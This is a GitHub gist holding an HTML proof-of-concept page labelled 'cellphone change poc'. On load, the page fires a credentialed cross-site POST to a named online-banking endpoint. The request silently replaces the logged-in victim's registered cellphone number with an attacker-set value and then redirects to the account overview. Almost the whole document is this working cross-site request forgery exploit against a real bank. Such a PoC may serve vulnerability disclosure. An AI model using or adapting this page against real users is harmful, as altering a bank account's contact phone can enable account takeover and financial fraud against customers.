Skip to content

Instantly share code, notes, and snippets.

@cedriczirtacic
Created August 28, 2018 17:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cedriczirtacic/14fdfbf4857e30b10ece88c78c05d763 to your computer and use it in GitHub Desktop.
Save cedriczirtacic/14fdfbf4857e30b10ece88c78c05d763 to your computer and use it in GitHub Desktop.
<html>
<head>
<script type="text/javascript" src="https://blue.baccredomatic.com/js/jquery-3.3.1.min.js"></script>
</head>
<body onload="change();">
<p>cellphone change poc</p>
<script type="text/javascript">
function change()
{
var paramsValues = {cellPhoneNumber: "12345678" };
$.ajax({
dataType : "json",
contentType : "application/x-www-form-urlencoded;charset=UTF-8",
cache : false,
type : "POST",
url : "https://www1.sucursalelectronica.com/ebac/common/saveOrUpdatePhoneNumber.go",
data : paramsValues,
xhrFields: {
withCredentials: true
},
crossDomain: true,
});
setTimeout(function() {
document.location.href = "https://www1.sucursalelectronica.com/ebac/module/consolidatedQuery/consolidatedQuery.go";
}, 1000);
return true;
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment